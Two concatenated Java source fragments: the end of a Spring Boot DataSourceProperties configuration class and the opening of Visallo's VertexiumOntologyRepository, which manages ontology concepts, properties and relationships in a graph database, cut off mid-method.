DataSourceBuilder.create(getClassLoader()).type(getType()) .driverClassName(determineDriverClassName()).url(determineUrl()) .username(determineUsername()).password(determinePassword()); } public String getName() { return this.name; } public void setName(String name) { this.name = name; } public boolean isGenerateUniqueName() { return this.generateUniqueName; } public void setGenerateUniqueName(boolean generateUniqueName) { this.generateUniqueName = generateUniqueName; } public Class<? extends DataSource> getType() { return this.type; } public void setType(Class<? extends DataSource> type) { this.type = type; } /** * Return the configured driver or {@code null} if none was configured. * @return the configured driver * @see #determineDriverClassName() */ public String getDriverClassName() { return this.driverClassName; } public void setDriverClassName(String driverClassName) { this.driverClassName = driverClassName; } /** * Determine the driver to use based on this configuration and the environment. * @return the driver to use * @since 1.4.0 */ public String determineDriverClassName() { if (StringUtils.hasText(this.driverClassName)) { Assert.state(driverClassIsLoadable(), "Cannot load driver class: " + this.driverClassName); return this.driverClassName; } String driverClassName = null; if (StringUtils.hasText(this.url)) { driverClassName = DatabaseDriver.fromJdbcUrl(this.url).getDriverClassName(); } if (!StringUtils.hasText(driverClassName)) { driverClassName = this.embeddedDatabaseConnection.getDriverClassName(); } if (!StringUtils.hasText(driverClassName)) { throw new DataSourceBeanCreationException(this.embeddedDatabaseConnection, this.environment, "driver class"); } return driverClassName; } private boolean driverClassIsLoadable() { try { ClassUtils.forName(this.driverClassName, null); return true; } catch (UnsupportedClassVersionError ex) { // Driver library has been compiled with a later JDK, propagate error throw ex; } catch (Throwable ex) { return false; } } /** * Return the configured url or {@code null} if none was configured. * @return the configured url * @see #determineUrl() */ public String getUrl() { return this.url; } public void setUrl(String url) { this.url = url; } /** * Determine the url to use based on this configuration and the environment. * @return the url to use * @since 1.4.0 */ public String determineUrl() { if (StringUtils.hasText(this.url)) { return this.url; } String url = this.embeddedDatabaseConnection.getUrl(determineDatabaseName()); if (!StringUtils.hasText(url)) { throw new DataSourceBeanCreationException(this.embeddedDatabaseConnection, this.environment, "url"); } return url; } private String determineDatabaseName() { if (this.generateUniqueName) { if (this.uniqueName == null) { this.uniqueName = UUID.randomUUID().toString(); } return this.uniqueName; } return this.name; } /** * Return the configured username or {@code null} if none was configured. * @return the configured username * @see #determineUsername() */ public String getUsername() { return this.username; } public void setUsername(String username) { this.username = username; } /** * Determine the username to use based on this configuration and the environment. * @return the username to use * @since 1.4.0 */ public String determineUsername() { if (StringUtils.hasText(this.username)) { return this.username; } if (EmbeddedDatabaseConnection.isEmbedded(determineDriverClassName())) { return "sa"; } return null; } /** * Return the configured password or {@code null} if none was configured. * @return the configured password * @see #determinePassword() */ public String getPassword() { return this.password; } public void setPassword(String password) { this.password = password; } /** * Determine the password to use based on this configuration and the environment. * @return the password to use * @since 1.4.0 */ public String determinePassword() { if (StringUtils.hasText(this.password)) { return this.password; } if (EmbeddedDatabaseConnection.isEmbedded(determineDriverClassName())) { return ""; } return null; } public String getJndiName() { return this.jndiName; } /** * Allows the DataSource to be managed by the container and obtained via JNDI. The * {@code URL}, {@code driverClassName}, {@code username} and {@code password} fields * will be ignored when using JNDI lookups. * @param jndiName the JNDI name */ public void setJndiName(String jndiName) { this.jndiName = jndiName; } public boolean isInitialize() { return this.initialize; } public void setInitialize(boolean initialize) { this.initialize = initialize; } public String getPlatform() { return this.platform; } public void setPlatform(String platform) { this.platform = platform; } public List<String> getSchema() { return this.schema; } public void setSchema(List<String> schema) { this.schema = schema; } public String getSchemaUsername() { return this.schemaUsername; } public void setSchemaUsername(String schemaUsername) { this.schemaUsername = schemaUsername; } public String getSchemaPassword() { return this.schemaPassword; } public void setSchemaPassword(String schemaPassword) { this.schemaPassword = schemaPassword; } public List<String> getData() { return this.data; } public void setData(List<String> data) { this.data = data; } public String getDataUsername() { return this.dataUsername; } public void setDataUsername(String dataUsername) { this.dataUsername = dataUsername; } public String getDataPassword() { return this.dataPassword; } public void setDataPassword(String dataPassword) { this.dataPassword = dataPassword; } public boolean isContinueOnError() { return this.continueOnError; } public void setContinueOnError(boolean continueOnError) { this.continueOnError = continueOnError; } public String getSeparator() { return this.separator; } public void setSeparator(String separator) { this.separator = separator; } public Charset getSqlScriptEncoding() { return this.sqlScriptEncoding; } public void setSqlScriptEncoding(Charset sqlScriptEncoding) { this.sqlScriptEncoding = sqlScriptEncoding; } public ClassLoader getClassLoader() { return this.classLoader; } public Xa getXa() { return this.xa; } public void setXa(Xa xa) { this.xa = xa; } /** * XA Specific datasource settings. */ public static class Xa { /** * XA datasource fully qualified name. */ private String dataSourceClassName; /** * Properties to pass to the XA data source. */ private Map<String, String> properties = new LinkedHashMap<>(); public String getDataSourceClassName() { return this.dataSourceClassName; } public void setDataSourceClassName(String dataSourceClassName) { this.dataSourceClassName = dataSourceClassName; } public Map<String, String> getProperties() { return this.properties; } public void setProperties(Map<String, String> properties) { this.properties = properties; } } static class DataSourceBeanCreationException extends BeanCreationException { DataSourceBeanCreationException(EmbeddedDatabaseConnection connection, Environment environment, String property) { super(getMessage(connection, environment, property)); } private static String getMessage(EmbeddedDatabaseConnection connection, Environment environment, String property) { StringBuilder message = new StringBuilder(); message.append("Cannot determine embedded database " + property + " for database type " + connection + ". "); message.append("If you want an embedded database please put a supported " + "one on the classpath. "); message.append("If you have database settings to be loaded from a " + "particular profile you may need to active it"); if (environment != null) { String[] profiles = environment.getActiveProfiles(); if (ObjectUtils.isEmpty(profiles)) { message.append(" (no profiles are currently active)"); } else { message.append(" (the profiles \"" + StringUtils.arrayToCommaDelimitedString( environment.getActiveProfiles()) + "\" are currently active)"); } } message.append("."); return message.toString(); } } }
package org.visallo.vertexium.model.ontology; import com.google.common.base.Function; import com.google.common.cache.Cache; import com.google.common.cache.CacheBuilder; import com.google.common.collect.ImmutableList; import com.google.common.collect.Iterables; import com.google.common.collect.Lists; import com.google.inject.Inject; import com.google.inject.Singleton; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.io.IOUtils; import org.semanticweb.owlapi.io.OWLOntologyDocumentSource; import org.semanticweb.owlapi.io.ReaderDocumentSource; import org.semanticweb.owlapi.model.*; import org.vertexium.*; import org.vertexium.mutation.ExistingElementMutation; import org.vertexium.property.StreamingPropertyValue; import org.vertexium.util.ConvertingIterable; import org.visallo.core.config.Configuration; import org.visallo.core.exception.VisalloException; import org.visallo.core.model.graph.GraphRepository; import org.visallo.core.model.graph.GraphUpdateContext; import org.visallo.core.model.lock.LockRepository; import org.visallo.core.model.ontology.*; import org.visallo.core.model.properties.VisalloProperties; import org.visallo.core.model.user.GraphAuthorizationRepository; import org.visallo.core.model.workQueue.Priority; import org.visallo.core.util.JSONUtil; import org.visallo.core.util.TimingCallable; import org.visallo.core.util.VisalloLogger; import org.visallo.core.util.VisalloLoggerFactory; import org.visallo.web.clientapi.model.ClientApiOntology; import org.visallo.web.clientapi.model.PropertyType; import javax.annotation.Nullable; import java.io.*; import java.util.*; import java.util.concurrent.ExecutionException; import java.util.concurrent.TimeUnit; import static com.google.common.base.Preconditions.checkNotNull; @Singleton public class VertexiumOntologyRepository extends OntologyRepositoryBase { private static final VisalloLogger LOGGER = VisalloLoggerFactory.getLogger(VertexiumOntologyRepository.class); public static final String ID_PREFIX = "ontology_"; public static final String ID_PREFIX_PROPERTY = ID_PREFIX + "prop_"; public static final String ID_PREFIX_RELATIONSHIP = ID_PREFIX + "rel_"; public static final String ID_PREFIX_CONCEPT = ID_PREFIX + "concept_"; private final Graph graph; private final GraphRepository graphRepository; private Authorizations authorizations; private Cache<String, List<Concept>> allConceptsWithPropertiesCache = CacheBuilder.newBuilder() .expireAfterWrite(15, TimeUnit.HOURS) .build(); protected Cache<String, List<OntologyProperty>> allPropertiesCache = CacheBuilder.newBuilder() .expireAfterWrite(15, TimeUnit.HOURS) .build(); private Cache<String, List<Relationship>> relationshipLabelsCache = CacheBuilder.newBuilder() .expireAfterWrite(15, TimeUnit.HOURS) .build(); private Cache<String, ClientApiOntology> clientApiCache = CacheBuilder.newBuilder() .expireAfterWrite(15, TimeUnit.HOURS) .build(); @Inject public VertexiumOntologyRepository( Graph graph, GraphRepository graphRepository, Configuration config, GraphAuthorizationRepository graphAuthorizationRepository, LockRepository lockRepository ) throws Exception { super(config, lockRepository); try { this.graph = graph; this.graphRepository = graphRepository; graphAuthorizationRepository.addAuthorizationToGraph(VISIBILITY_STRING); defineRequiredProperties(graph); Set<String> authorizationsSet = new HashSet<>(); authorizationsSet.add(VISIBILITY_STRING); this.authorizations = graph.createAuthorizations(authorizationsSet); loadOntologies(config, authorizations); } catch (Exception ex) { LOGGER.error("Could not initialize: %s", this.getClass().getName(), ex); throw ex; } } @Override public VertexiumOntologyProperty getPropertyByIRI(String propertyIRI) { return (VertexiumOntologyProperty) super.getPropertyByIRI(propertyIRI); } private void defineRequiredProperties(Graph graph) { if (!graph.isPropertyDefined(VisalloProperties.CONCEPT_TYPE.getPropertyName())) { graph.defineProperty(VisalloProperties.CONCEPT_TYPE.getPropertyName()) .dataType(String.class) .textIndexHint(TextIndexHint.EXACT_MATCH) .define(); } if (!graph.isPropertyDefined(OntologyProperties.ONTOLOGY_TITLE.getPropertyName())) { graph.defineProperty(OntologyProperties.ONTOLOGY_TITLE.getPropertyName()) .dataType(String.class) .textIndexHint(TextIndexHint.EXACT_MATCH) .define(); } if (!graph.isPropertyDefined(OntologyProperties.DISPLAY_NAME.getPropertyName())) { graph.defineProperty(OntologyProperties.DISPLAY_NAME.getPropertyName()) .dataType(String.class) .textIndexHint(TextIndexHint.EXACT_MATCH) .define(); } if (!graph.isPropertyDefined(OntologyProperties.TITLE_FORMULA.getPropertyName())) { graph.defineProperty(OntologyProperties.TITLE_FORMULA.getPropertyName()) .dataType(String.class) .textIndexHint(TextIndexHint.NONE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.SUBTITLE_FORMULA.getPropertyName())) { graph.defineProperty(OntologyProperties.SUBTITLE_FORMULA.getPropertyName()) .dataType(String.class) .textIndexHint(TextIndexHint.NONE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.TIME_FORMULA.getPropertyName())) { graph.defineProperty(OntologyProperties.TIME_FORMULA.getPropertyName()) .dataType(String.class) .textIndexHint(TextIndexHint.NONE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.GLYPH_ICON.getPropertyName())) { graph.defineProperty(OntologyProperties.GLYPH_ICON.getPropertyName()) .dataType(byte[].class) .textIndexHint(TextIndexHint.NONE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.MAP_GLYPH_ICON.getPropertyName())) { graph.defineProperty(OntologyProperties.MAP_GLYPH_ICON.getPropertyName()) .dataType(byte[].class) .textIndexHint(TextIndexHint.NONE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.DATA_TYPE.getPropertyName())) { graph.defineProperty(OntologyProperties.DATA_TYPE.getPropertyName()) .dataType(String.class) .textIndexHint(TextIndexHint.EXACT_MATCH) .define(); } if (!graph.isPropertyDefined(OntologyProperties.USER_VISIBLE.getPropertyName())) { graph.defineProperty(OntologyProperties.USER_VISIBLE.getPropertyName()) .dataType(Boolean.TYPE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.SEARCHABLE.getPropertyName())) { graph.defineProperty(OntologyProperties.SEARCHABLE.getPropertyName()) .dataType(Boolean.TYPE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.SORTABLE.getPropertyName())) { graph.defineProperty(OntologyProperties.SORTABLE.getPropertyName()) .dataType(Boolean.TYPE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.ADDABLE.getPropertyName())) { graph.defineProperty(OntologyProperties.ADDABLE.getPropertyName()) .dataType(Boolean.TYPE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.ONTOLOGY_FILE.getPropertyName())) { graph.defineProperty(OntologyProperties.ONTOLOGY_FILE.getPropertyName()) .dataType(byte[].class) .textIndexHint(TextIndexHint.NONE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.ONTOLOGY_FILE_MD5.getPropertyName())) { graph.defineProperty(OntologyProperties.ONTOLOGY_FILE_MD5.getPropertyName()) .dataType(String.class) .textIndexHint(TextIndexHint.NONE) .define(); } if (!graph.isPropertyDefined(OntologyProperties.DEPENDENT_PROPERTY_ORDER_PROPERTY_NAME.getPropertyName())) { graph.defineProperty(OntologyProperties.DEPENDENT_PROPERTY_ORDER_PROPERTY_NAME.getPropertyName()) .dataType(Integer.class) .textIndexHint(TextIndexHint.NONE) .define(); } } @Override protected void importOntologyAnnotationProperty(OWLOntology o, OWLAnnotationProperty annotationProperty, File inDir, Authorizations authorizations) { super.importOntologyAnnotationProperty(o, annotationProperty, inDir, authorizations); String about = annotationProperty.getIRI().toString(); LOGGER.debug("disabling index for annotation property: " + about); DefinePropertyBuilder definePropertyBuilder = graph.defineProperty(about); definePropertyBuilder.dataType(PropertyType.getTypeClass(PropertyType.STRING)); definePropertyBuilder.textIndexHint(TextIndexHint.NONE); definePropertyBuilder.define(); } @Override public ClientApiOntology getClientApiObject() { ClientApiOntology o = this.clientApiCache.getIfPresent("clientApi"); if (o != null) { return o; } o = super.getClientApiObject(); this.clientApiCache.put("clientApi", o); return o; } @Override public void clearCache() { LOGGER.info("clearing ontology cache"); graph.flush(); this.clientApiCache.invalidateAll(); this.allConceptsWithPropertiesCache.invalidateAll(); this.allPropertiesCache.invalidateAll(); this.relationshipLabelsCache.invalidateAll(); } @Override protected void addEntityGlyphIconToEntityConcept(Concept entityConcept, byte[] rawImg) { StreamingPropertyValue raw = new StreamingPropertyValue(new ByteArrayInputStream(rawImg), byte[].class); raw.searchIndex(false); entityConcept.setProperty(OntologyProperties.GLYPH_ICON.getPropertyName(), raw, authorizations); graph.flush(); } @Override public void storeOntologyFile(InputStream in, IRI documentIRI) { byte[] data; try { data = IOUtils.toByteArray(in); } catch (IOException ex) { throw new VisalloException("Could not read ontology input stream", ex); } String md5 = DigestUtils.md5Hex(data); StreamingPropertyValue value = new StreamingPropertyValue(new ByteArrayInputStream(data), byte[].class); value.searchIndex(false); Metadata metadata = new Metadata(); Vertex rootConceptVertex = ((VertexiumConcept) getRootConcept()).getVertex(); metadata.add("index", Iterables.size(OntologyProperties.ONTOLOGY_FILE.getProperties(rootConceptVertex)), VISIBILITY.getVisibility()); OntologyProperties.ONTOLOGY_FILE.addPropertyValue(rootConceptVertex, documentIRI.toString(), value, metadata, VISIBILITY.getVisibility(), authorizations); OntologyProperties.ONTOLOGY_FILE_MD5.addPropertyValue(rootConceptVertex, documentIRI.toString(), md5, metadata, VISIBILITY.getVisibility(), authorizations); graph.flush(); } @Override protected boolean hasFileChanged(IRI documentIRI, byte[] inFileData) { Vertex rootConceptVertex = ((VertexiumConcept) getRootConcept()).getVertex(); String existingMd5 = OntologyProperties.ONTOLOGY_FILE_MD5.getPropertyValue(rootConceptVertex, documentIRI.toString()); if (existingMd5 == null) { return true; } return !DigestUtils.md5Hex(inFileData).equals(existingMd5); } @Override public boolean isOntologyDefined(String iri) { Vertex rootConceptVertex = ((VertexiumConcept) getRootConcept()).getVertex(); Property prop = OntologyProperties.ONTOLOGY_FILE.getProperty(rootConceptVertex, iri); return prop != null; } @Override public List<OWLOntology> loadOntologyFiles(OWLOntologyManager m, OWLOntologyLoaderConfiguration config, IRI excludedIRI) throws OWLOntologyCreationException, IOException { List<OWLOntology> loadedOntologies = new ArrayList<>(); Iterable<Property> ontologyFiles = getOntologyFiles(); for (Property ontologyFile : ontologyFiles) { IRI ontologyFileIRI = IRI.create(ontologyFile.getKey()); if (excludedIRI != null && excludedIRI.equals(ontologyFileIRI)) { continue; } try (InputStream visalloBaseOntologyIn = ((StreamingPropertyValue) ontologyFile.getValue()).getInputStream()) { Reader visalloBaseOntologyReader = new InputStreamReader(visalloBaseOntologyIn); LOGGER.info("Loading existing ontology: %s", ontologyFile.getKey()); OWLOntologyDocumentSource visalloBaseOntologySource = new ReaderDocumentSource(visalloBaseOntologyReader, ontologyFileIRI); try { OWLOntology o = m.loadOntologyFromOntologyDocument(visalloBaseOntologySource, config); loadedOntologies.add(o); } catch (UnloadableImportException ex) { LOGGER.warn("Could not load existing %s", ontologyFileIRI, ex); } } } return loadedOntologies; } private Iterable<Property> getOntologyFiles() { VertexiumConcept rootConcept = (VertexiumConcept) getRootConcept(); checkNotNull(rootConcept, "Could not get root concept"); Vertex rootConceptVertex = rootConcept.getVertex(); checkNotNull(rootConceptVertex, "Could not get root concept vertex"); List<Property> ontologyFiles = Lists.newArrayList(OntologyProperties.ONTOLOGY_FILE.getProperties(rootConceptVertex)); ontologyFiles.sort((ontologyFile1, ontologyFile2) -> { Integer index1 = (Integer) ontologyFile1.getMetadata().getValue("index"); checkNotNull(index1, "Could not find metadata (1) 'index' on " + ontologyFile1); Integer index2 = (Integer) ontologyFile2.getMetadata().getValue("index"); checkNotNull(index2, "Could not find metadata (2) 'index' on " + ontologyFile2); return index1.compareTo(index2); }); return ontologyFiles; } @Override public Iterable<Relationship> getRelationships() { try { return relationshipLabelsCache.get("", new TimingCallable<List<Relationship>>("getRelationships") { @Override public List<Relationship> callWithTime() throws Exception { Iterable<Vertex> vertices = graph.getVerticesWithPrefix(ID_PREFIX_RELATIONSHIP, getAuthorizations()); vertices = Iterables.filter(vertices, vertex -> VisalloProperties.CONCEPT_TYPE.getPropertyValue(vertex, "").equals(TYPE_RELATIONSHIP)); return Lists.newArrayList(Iterables.transform(vertices, new Function<Vertex, Relationship>() { @Nullable @Override public Relationship apply(@Nullable Vertex vertex) { return toVertexiumRelationship(vertex); } })); } }); } catch (ExecutionException e) { throw new VisalloException("Could not get relationship labels"); } } private Relationship toVertexiumRelationship(Vertex relationshipVertex) { Iterable<Vertex> domainVertices = relationshipVertex.getVertices(Direction.IN, LabelName.HAS_EDGE.toString(), getAuthorizations()); List<String> domainConceptIris = Lists.newArrayList(new ConvertingIterable<Vertex, String>(domainVertices) { @Override protected String convert(Vertex domainVertex) { return OntologyProperties.ONTOLOGY_TITLE.getPropertyValue(domainVertex); } }); Iterable<Vertex> rangeVertices = relationshipVertex.getVertices(Direction.OUT, LabelName.HAS_EDGE.toString(), getAuthorizations()); List<String> rangeConceptIris = Lists.newArrayList(new ConvertingIterable<Vertex, String>(rangeVertices) { @Override protected String convert(Vertex rangeVertex) { return OntologyProperties.ONTOLOGY_TITLE.getPropertyValue(rangeVertex); } }); List<String> parentVertexIds = Lists.newArrayList(Iterables.transform(relationshipVertex.getVertices(Direction.OUT, LabelName.IS_A.toString(), getAuthorizations()), new Function<Vertex, String>() { @Override public String apply(Vertex parentRelationshipVertex) { return OntologyProperties.ONTOLOGY_TITLE.getPropertyValue(parentRelationshipVertex); } })); if (parentVertexIds.size() > 1) { throw new VisalloException("Too many parent relationships found for relationship " + relationshipVertex.getId()); } String parentIRI = parentVertexIds.size() == 0 ? null : parentVertexIds.get(0); final List<String> inverseOfIRIs = getRelationshipInverseOfIRIs(relationshipVertex); List<OntologyProperty> properties = getPropertiesByVertexNoRecursion(relationshipVertex); return createRelationship(parentIRI, relationshipVertex, inverseOfIRIs, domainConceptIris, rangeConceptIris, properties); } private List<String> getRelationshipInverseOfIRIs(final Vertex vertex) { return Lists.newArrayList(new ConvertingIterable<Vertex, String>(vertex.getVertices(Direction.OUT, LabelName.INVERSE_OF.toString(), getAuthorizations())) { @Override protected String convert(Vertex inverseOfVertex) { return OntologyProperties.ONTOLOGY_TITLE.getPropertyValue(inverseOfVertex); } }); } @Override public String getDisplayNameForLabel(String relationshipIRI) { String displayName = null; if (relationshipIRI != null && !relationshipIRI.trim().isEmpty()) { try { Relationship relationship = getRelationshipByIRI(relationshipIRI); if (relationship != null) { displayName = relationship.getDisplayName(); } } catch (IllegalArgumentException iae) { throw new IllegalStateException( String.format("Found multiple vertices for relationship label \"%s\"", relationshipIRI), iae ); } } return displayName; } @Override public Iterable<OntologyProperty> getProperties() { try { return allPropertiesCache.get("", new TimingCallable<List<OntologyProperty>>("getProperties") { @Override public List<OntologyProperty> callWithTime() throws Exception { Iterable<Vertex> vertices = graph.getVerticesWithPrefix(ID_PREFIX_PROPERTY, getAuthorizations()); vertices = Iterables.filter(vertices, vertex -> VisalloProperties.CONCEPT_TYPE.getPropertyValue(vertex, "").equals(TYPE_PROPERTY)); return Lists.newArrayList(Iterables.transform(vertices, new Function<Vertex, OntologyProperty>() { @Nullable @Override public OntologyProperty apply(@Nullable Vertex vertex) { return createOntologyProperty( vertex, getDependentPropertyIris(vertex), VertexiumOntologyProperty.getDataType(vertex) ); } })); } }); } catch (ExecutionException e) { throw new VisalloException("Could not get properties", e); } } protected ImmutableList<String> getDependentPropertyIris(final Vertex vertex) { List<Edge> dependentProperties = Lists.newArrayList(vertex.getEdges(Direction.OUT, OntologyProperties.EDGE_LABEL_DEPENDENT_PROPERTY, getAuthorizations())); Collections.sort(dependentProperties, (e1, e2) -> { Integer o1 = OntologyProperties.DEPENDENT_PROPERTY_ORDER_PROPERTY_NAME.getPropertyValue(e1, 0); Integer o2 = OntologyProperties.DEPENDENT_PROPERTY_ORDER_PROPERTY_NAME.getPropertyValue(e2, 0); return Integer.compare(o1, o2); }); return ImmutableList.copyOf(Iterables.transform(dependentProperties, new Function<Edge, String>() { @Nullable @Override public String apply(Edge e) { String propertyId = e.getOtherVertexId(vertex.getId()); return propertyId.substring(VertexiumOntologyRepository.ID_PREFIX_PROPERTY.length()); } })); } @Override public boolean hasRelationshipByIRI(String relationshipIRI) { return getRelationshipByIRI(relationshipIRI) != null; } @Override public Iterable<Concept> getConceptsWithProperties() { try { return allConceptsWithPropertiesCache.get("", new TimingCallable<List<Concept>>("getConceptsWithProperties") { @Override public List<Concept> callWithTime() throws Exception { Iterable<Vertex> vertices = graph.getVerticesWithPrefix(ID_PREFIX_CONCEPT, getAuthorizations()); vertices = Iterables.filter(vertices, vertex -> VisalloProperties.CONCEPT_TYPE.getPropertyValue(vertex, "").equals(TYPE_CONCEPT)); return Lists.newArrayList(Iterables.transform(vertices, new Function<Vertex, Concept>() { @Nullable @Override public Concept apply(@Nullable Vertex vertex) { List<OntologyProperty> conceptProperties = getPropertiesByVertexNoRecursion(vertex); Vertex parentConceptVertex = getParentConceptVertex(vertex); String parentConceptIRI = OntologyProperties.ONTOLOGY_TITLE.getPropertyValue(parentConceptVertex); return createConcept(vertex, conceptProperties, parentConceptIRI); } })); } }); } catch (ExecutionException e) { throw new VisalloException("could not get concepts with properties", e); } } private Concept getRootConcept() { return getConceptByIRI(VertexiumOntologyRepository.ROOT_CONCEPT_IRI); } @Override public Concept getEntityConcept() { return getConceptByIRI(VertexiumOntologyRepository.ENTITY_CONCEPT_IRI); } @Override protected List<Concept> getChildConcepts(Concept concept) { Vertex conceptVertex = ((VertexiumConcept) concept).getVertex(); return toConcepts(conceptVertex.getVertices(Direction.IN, LabelName.IS_A.toString(), getAuthorizations())); } @Override protected List<Relationship> getChildRelationships(Relationship relationship) { Vertex relationshipVertex = ((VertexiumRelationship) relationship).getVertex(); return toRelationships(relationshipVertex.getVertices(Direction.IN, LabelName.IS_A.toString(), getAuthorizations())); } @Override public Concept getParentConcept(final Concept concept) { Vertex parentConceptVertex = getParentConceptVertex(((VertexiumConcept) concept).getVertex()); if (parentConceptVertex == null) { return null; } String parentIri = OntologyProperties.ONTOLOGY_TITLE.getPropertyValue(parentConceptVertex); return getConceptByIRI(parentIri); } private List<Concept> toConcepts(Iterable<Vertex> vertices) { ArrayList<Concept> concepts = new ArrayList<>(); for (Vertex vertex : vertices) { concepts.add(createConcept(vertex)); } return concepts; } private List<Relationship> toRelationships(Iterable<Vertex> vertices) { ArrayList<Relationship> relationships = new ArrayList<>(); for (Vertex vertex : vertices) { relationships.add(toVertexiumRelationship(vertex)); } return relationships; } private List<OntologyProperty> getPropertiesByVertexNoRecursion(Vertex vertex) { return Lists.newArrayList(new ConvertingIterable<Vertex, OntologyProperty>(vertex.getVertices(Direction.OUT, LabelName.HAS_PROPERTY.toString(), getAuthorizations())) { @Override protected OntologyProperty convert(Vertex o) { return createOntologyProperty(o, getDependentPropertyIris(o), VertexiumOntologyProperty.getDataType(o)); } }); } @Override public Concept getOrCreateConcept(Concept parent, String conceptIRI, String displayName, File inDir) { return getOrCreateConcept(parent, conceptIRI, displayName, inDir, true); } @Override public Concept getOrCreateConcept(Concept parent, String conceptIRI, String displayName, File inDir, boolean isDeclaredInOntology) { Concept concept = getConceptByIRI(conceptIRI); if (concept != null) { if (isDeclaredInOntology) { deleteChangeableProperties(concept, authorizations); } return concept; } try (GraphUpdateContext ctx = graphRepository.beginGraphUpdate(Priority.LOW, null, getAuthorizations())) { ctx.setPushOnQueue(false); VertexBuilder builder = graph.prepareVertex(ID_PREFIX_CONCEPT + conceptIRI, VISIBILITY.getVisibility()); Vertex vertex = ctx.update(builder, elemCtx -> { VisalloProperties.CONCEPT_TYPE.updateProperty(elemCtx, TYPE_CONCEPT, VISIBILITY.getVisibility()); OntologyProperties.ONTOLOGY_TITLE.updateProperty(elemCtx, conceptIRI, VISIBILITY.getVisibility()); OntologyProperties.DISPLAY_NAME.updateProperty(elemCtx, displayName, VISIBILITY.getVisibility()); if (conceptIRI.equals(OntologyRepository.ENTITY_CONCEPT_IRI)) { OntologyProperties.TITLE_FORMULA.updateProperty(elemCtx, "prop('http://visallo.org#title') || ''", VISIBILITY.getVisibility()); OntologyProperties.SUBTITLE_FORMULA.updateProperty(elemCtx, "prop('http://visallo.org#source') || ''", VISIBILITY.getVisibility()); OntologyProperties.TIME_FORMULA.updateProperty(elemCtx, "''", VISIBILITY.getVisibility()); } }).get(); concept = createConcept(vertex); if (parent != null) { findOrAddEdge(ctx, ((VertexiumConcept) concept).getVertex(), ((VertexiumConcept) parent).getVertex(), LabelName.IS_A.toString()); } return concept; } catch (Exception e) { throw new VisalloException("Could not create concept: " + conceptIRI, e); } } protected void findOrAddEdge(Vertex fromVertex, final Vertex toVertex, String edgeLabel) { try (GraphUpdateContext ctx = graphRepository.beginGraphUpdate(Priority.LOW, null, getAuthorizations())) { ctx.setPushOnQueue(false); findOrAddEdge(ctx, fromVertex, toVertex, edgeLabel); } catch (Exception e) { throw new VisalloException("Could not findOrAddEdge", e); } } protected void findOrAddEdge(GraphUpdateContext ctx, Vertex fromVertex, final Vertex toVertex, String edgeLabel) { String edgeId = fromVertex.getId() + "-" + toVertex.getId(); ctx.getOrCreateEdgeAndUpdate(edgeId, fromVertex.getId(), toVertex.getId(), edgeLabel, VISIBILITY.getVisibility(), elemCtx -> { }); } @Override public OntologyProperty addPropertyTo( List<Concept> concepts, List<Relationship> relationships, String propertyIri, String displayName, PropertyType dataType, Map<String, String> possibleValues, Collection<TextIndexHint> textIndexHints, boolean userVisible, boolean searchable, boolean addable, boolean sortable, String displayType, String propertyGroup, Double boost, String validationFormula, String displayFormula, ImmutableList<String> dependentPropertyIris, String[] intents, boolean deleteable, boolean updateable ) { checkNotNull(concepts, "vertex was null"); Vertex vertex = getOrCreatePropertyVertex( propertyIri, dataType, textIndexHints, sortable, boost, possibleValues, concepts, relationships ); checkNotNull(vertex, "Could not find property: " + propertyIri); String vertexId = vertex.getId(); boolean finalSearchable = determineSearchable(propertyIri, dataType, textIndexHints, searchable); try (GraphUpdateContext ctx = graphRepository.beginGraphUpdate(Priority.LOW, null, getAuthorizations())) { ctx.setPushOnQueue(false); ExistingElementMutation<Vertex> builder = vertex.prepareMutation(); vertex = ctx.update(builder, elemCtx -> { Visibility visibility = VISIBILITY.getVisibility(); OntologyProperties.SEARCHABLE.updateProperty(elemCtx, finalSearchable, visibility); OntologyProperties.SORTABLE.updateProperty(elemCtx, sortable, visibility); OntologyProperties.ADDABLE.updateProperty(elemCtx, addable, visibility); OntologyProperties.DELETEABLE.updateProperty(elemCtx, deleteable, visibility); OntologyProperties.UPDATEABLE.updateProperty(elemCtx, updateable, visibility); OntologyProperties.USER_VISIBLE.updateProperty(elemCtx, userVisible, visibility); if (boost != null) { OntologyProperties.BOOST.updateProperty(elemCtx, boost, visibility); } if (displayName != null && !displayName.trim().isEmpty()) { OntologyProperties.DISPLAY_NAME.updateProperty(elemCtx, displayName.trim(), visibility); } if (displayType != null && !displayType.trim().isEmpty()) { OntologyProperties.DISPLAY_TYPE.updateProperty(elemCtx, displayType, visibility); } if (propertyGroup != null && !propertyGroup.trim().isEmpty()) { OntologyProperties.PROPERTY_GROUP.updateProperty(elemCtx, propertyGroup, visibility); } if (validationFormula != null && !validationFormula.trim().isEmpty()) { OntologyProperties.VALIDATION_FORMULA.updateProperty(elemCtx, validationFormula, visibility); } if (displayFormula != null && !displayFormula.trim().isEmpty()) { OntologyProperties.DISPLAY_FORMULA.updateProperty(elemCtx, displayFormula, visibility); } if (dependentPropertyIris != null) { saveDependentProperties(vertexId, dependentPropertyIris); } if (intents != null) { Metadata metadata = new Metadata(); for (String intent : intents) { OntologyProperties.INTENT.updateProperty(elemCtx, intent, intent, metadata, visibility); } } }).get(); return createOntologyProperty(vertex, dependentPropertyIris, dataType); } catch (Exception e) { throw new VisalloException("Could not create property: " + propertyIri, e); } } @Override protected void addExtendedDataTableProperty(OntologyProperty tableProperty, OntologyProperty property) { if (!(tableProperty instanceof VertexiumExtendedDataTableOntologyProperty)) { throw new VisalloException("Invalid table property type: " + tableProperty.getDataType()); } Vertex tablePropertyVertex = ((VertexiumExtendedDataTableOntologyProperty) tableProperty).getVertex(); Vertex propertyVertex = ((VertexiumOntologyProperty) property).getVertex(); findOrAddEdge(tablePropertyVertex, propertyVertex, LabelName.HAS_PROPERTY.toString()); ((VertexiumExtendedDataTableOntologyProperty) tableProperty).addProperty(property.getIri()); } @Override protected void getOrCreateInverseOfRelationship(Relationship fromRelationship, Relationship inverseOfRelationship) { checkNotNull(fromRelationship, "fromRelationship is required"); checkNotNull(fromRelationship, "inverseOfRelationship is required"); VertexiumRelationship fromRelationshipSg = 